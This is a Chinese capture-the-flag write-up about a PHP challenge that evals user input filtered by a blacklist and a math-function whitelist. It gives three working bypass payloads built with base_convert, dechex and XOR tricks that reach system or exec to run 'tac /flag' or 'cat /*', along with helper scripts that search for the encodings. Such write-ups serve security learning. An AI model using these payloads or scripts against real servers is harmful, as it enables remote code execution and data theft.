先看到题目给出的源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

代码审计限制条件

  • 传入的c的字符串长度大小不能大于80
  • 传入的字符串不能包含' ', '\t', '\r', '\n','\'', '"', '``', '\[', '\]'
  • preg_match_all将匹配到的结果传给$used_funcs$used_funcs只能是$whitelist中的函数,意识就是传入的字符串中的词组也只能是$whitelist中的单词

以上条件满足后即可传入eval中执行代码

方法一

?c=$pi=base_convert(3761671484,13,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=tac /flag

分析:

  • base_convert函数的功能是在任意进制的字符串之间转换数字base_convert(37907361743,10,36) ==> hex2bin
  • dechex(1598506324) ==> 5f474554hex2bin("5f474554") ==> _GET
  • 选用pi的原因是因为题目有长度限制,白名单中最短的就是这两个字符pi,故选它
  • $pi=_GET之后再在前面加一个$就形成了$_GET
  • ($$pi){1}(($$pi){2})翻译过来就是($_GET){1}(($_GET){2}) === $_GET[1]($_GET[2]),传入1=system即可进行命令执行

举一反三,那么我们改如何构造出这种方法呢?base_convert的进制转换不知道的话又怎么知道该传入什么数字和进制呢?于是写出构造脚本:

base_convert函数构造:

<?php
$a = 'hex2bin';
for($i = 2; $i < 37; $i++){
    for($j = 2; $j < 37; $j++){
        if(is_numeric(base_convert($a, $i, $j))){
            if(base_convert(base_convert($a, $i, $j), $j, $i) === $a){
                echo 'len='.strlen(base_convert($a, $i, $j)).' '.'base_convert参数->'.base_convert($a, $i, $j).' '.$j.' '.$i.' '."\n";
            }
        }
    }
}
?>

这样即可得到所有的进制转换结果,当然如果题目没有引号限制,is_numeric函数也可以去掉,在里面选取所需要的即可

那么dechex如何构造呢?这个就简单了,两行代码就可以搞定

<?php
$a = "_GET";
$num = hexdec(bin2hex($a));
echo $num . "\n";
echo (base_convert(3761671484,13,36)(dechex($num)));
?>

输出的结果既是可传入的值

方法二

?c=$pi=base_convert,$pi(47138,20,36)($pi(8768397090111664438,10,30)(){1})

分析:

  • base_convert(47138,20,36) ==> exec,exec执行一个外部程序,返回最后一行内容
  • base_convert(8768397090111664438,10,30) ==> getallheaders,获取全部 HTTP 请求头信息
  • 以上语句翻译下来就是exec(getallheaders(){1}),可以获取请求头第一个字段的值,[]被waf可以用{}包囊数字来解决代替绕过中括号和引号

发包即可拿到flag

当然这里直接cat flag也是可以的,如下:

?c=($pi=base_convert)(47138,20,36)($pi(3761671484,13,36)(dechex(109270211243818)))

命令执行就是exec("cat /*"),可以打印出flag

方法三

利用异或将字符串转化成我们想要的字符串,例如我们需要$_GET,那么就要获得_GET,FUZZ代码如下:

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9; $j++){
            $exp = $payload[$k] ^ ($i.$j);
            echo($payload[$k]."^$i$j"."==>$exp"."\n");
        }
    }
}

在打印出的结果中搜寻想要的字符串,找到最短的再组合

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
  • is_nan^(6).(4) ==> _G
  • tan^(1).(5) ==> ET
  • 以上就和第一种方法类似,然后在传命令执行的代码就可以了

参考:

题目还是挺有意思的,如果再发现新方法再补上